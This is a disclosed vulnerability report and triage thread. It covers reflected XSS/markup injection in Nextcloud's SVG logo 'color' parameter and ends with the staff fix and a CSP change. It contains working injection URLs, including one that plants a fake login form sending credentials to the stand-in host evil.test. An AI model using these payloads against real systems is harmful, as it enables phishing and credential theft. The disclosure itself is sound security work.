

17

Reflected XSS / Markup Injection in `index.php/svg/core/logo/logo` parameter `color`

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TIMELINE



eddyb submitted a report to Nextcloud.

Jun 11th (4 years ago)

I just found a reflected Cross-Site Scripting (XSS) vulnerability in Nextcloud Server that affects current stable and dates back to at least 15.0.5.

The vulnerability seems mitigated by a Content-Security-Policy (CSP), but there might be a residual risk for phishing, due to the CSP's lack of a `form-action` directive.

Steps to repeat (for basic XSS):

0) Replace `server.test` in the following URLs with your own test instance of Nextcloud.

1) Open Developer Tools (alternatively, disable CSP in your browser :-))

2) go to [https://server.test/nextcloud/index.php/svg/core/logo/logo?color=f00%22/%3E%3Cg%20onload=%22javascript:alert\(1\)%22%3E%3C/g%3E%3Ccircle%20alt=%22meh](https://server.test/nextcloud/index.php/svg/core/logo/logo?color=f00%22/%3E%3Cg%20onload=%22javascript:alert(1)%22%3E%3C/g%3E%3Ccircle%20alt=%22meh)

3) Observe the CSP violation (alternatively, the alert popup)

Steps to repeat for phishing

0) Replace `server.test` in the following URLs with your own test instance of Nextcloud.

1) Visit <https://server.test/nextcloud/index.php/svg/core/logo/logo?color=fff%22/%3E%3CforeignObject%20class=%22node%22%20x=%220%22%20y=%220%22%20width=%22600%22%20height=%22600%22%3E%3Cdiv%20xmlns=%22http://www.w3.org/1999/xhtml%22%3E%3Cp%3ELogin%3C/p%3E%3Cform%20action=%22//evil.test%22%3E%3Cinput%20placeholder=%22Username%22%20type=%22text%22/%3E%3Cbr/%3E%20%3Cinput%20placeholder=%22Password%22%20type=%22text%22/%3E%3Cbr/%3E%3Cinput%20type=%22submit%22%20value=%22Login%22/%3E%3C/form%3E%3C/div%3E%3C/foreignObject%3E%3Ccircle%20alt=%22>

1a) For improved readability, here's the resulting SVG source code

```
Code 1.27 KiB Wrap lines Copy Download
1 <svg width="256" height="128" version="1.1" viewBox="0 0 256 128" xmlns="http://www.w3.org/2000/svg"><g fill="none" stroke-width="22"><circle cx="48" cy="
2
```

2) Observe how we injected a login form that points to <https://evil.test>. Note that further styling using CSS files of the currently applied theme could be used to make the attack more convincing. Additionally, an attacker might put the Nextcloud instance into an iframe, to hide the injection from the address bar (depending on X-Frame-Options header).

Impact

- Phishing
- XSS on the nextcloud instance, if the CSP is bypassed (rather unlikely)



OT: posted a comment.

Jun 11th (4 years ago)

Thanks a lot for reporting this potential issue back to us!

Our security team will take a look at this issue as soon as possible. We will reply to your report within 72 hours, usually much faster. For obvious reasons we'd like to ask you to not disclose this issue to any other party.



eddyb posted a comment.

Jun 12th (4 years ago)

Note that further styling using CSS files of the currently applied theme could be used to make the attack more convincing. Additionally, an attacker might put the Nextcloud instance into an iframe, to hide the injection from the address bar (depending on X-Frame-Options header).

I just noticed the CSP's `style-src` directive allows 'unsafe-inline', so the phishing vector could be styled arbitrarily.



eddyb posted a comment.

Jun 12th (4 years ago)

I finally got the time to dig into the source code.

The injection happens in the `colorizeSvg` function in `IconsCacher.php` in (line 186, permalink), as the color value is neither being validated nor escaped. The color comes from `SvgController.php` `getSvg()` function (line 127, permalink).

I haven't dug deep enough to see whether Nextcloud server usually escapes in the sources or in the sink, so depending on other callers of `colorizeSvg`, you might just add a regex filter that limits colors to a regular expression of `[0-9a-f]{3,6}` at the very beginning of the function.



nickvergessen (Nextcloud staff) posted a comment.

Jun 20th (4 years ago)

Sorry for the long delay, we had 2 parental leave issues and another leave sadly covering all 3 of our hackerone users at the same time.

I went for the `IconsCacher` as a fix location, we check for `[0-9a-f]{3,6}` now and fall back to black in case it doesn't match:
<https://github.com/nextcloud/server/pull/16021/files>

Since I couldn't see any impact due to CSP, I will discuss the reward with my colleagues early next week.

nickvergessen (Nextcloud staff) changed the status to Triaged.

Jun 20th (4 years ago)



eddyb posted a comment.


Jun 24th (3 years ago)

I agree there's no XSS, but rather a spoofing impact.

However, I'd suggest discussing a `form-action` directive in the default CSP in parallel to fixing the injection.

fredrduh posted a comment

Jul 6th (3 years ago)


- 

nickvergessen

Nextcloud staff

posted a comment.

Yeah, I wanted to do this on Thursday, I just forgot.

Jul 8th (3 years ago)
- 

nickvergessen


Nextcloud staff

closed the report and changed the status to Resolved.

Thanks a lot for your report again. This has been resolved in our latest maintenance releases and we're working on the advisories at the moment.

Jul 8th (3 years ago)


Please let us know how you'd like to be credited in our official advisory. We require the following information:

- Name / Pseudonym
 - Email address (optional)
 - Website (optional)
 - Company (optional)
- 

freddyb

posted a comment.

Please credit me as [Frederik Braun](https://frederik-braun.com) with the link to <https://frederik-braun.com> - Thank you!

Jul 15th (3 years ago)
- 

milzer

requested to disclose this report.

Hi,


The advisory is pending internally.

Once published a CVE will be requested as well.

Regarding the form-actions this is actually on my list already and it just moved a bit higher. So I'll look into this now.

Cheers,

--Roeland

Jul 30th (3 years ago)
- 

milzer


posted a comment.

Hi,

So I checked and in the upcoming release we actually set a very strict CSP for all non template responses. So it should be caught then. Never the less I will add form-action support in our CSP.

Cheers,

--Roeland

Jul 30th (3 years ago)
- 

milzer

posted a comment.


Hi,

Ah no it does not... default fallback is to allow everything.

In any case <https://github.com/nextcloud/server/pull/16618> adds it :)

Cheers,

--Roeland

Jul 30th (3 years ago)
- 

This report has been disclosed.

Aug 29th (3 years ago)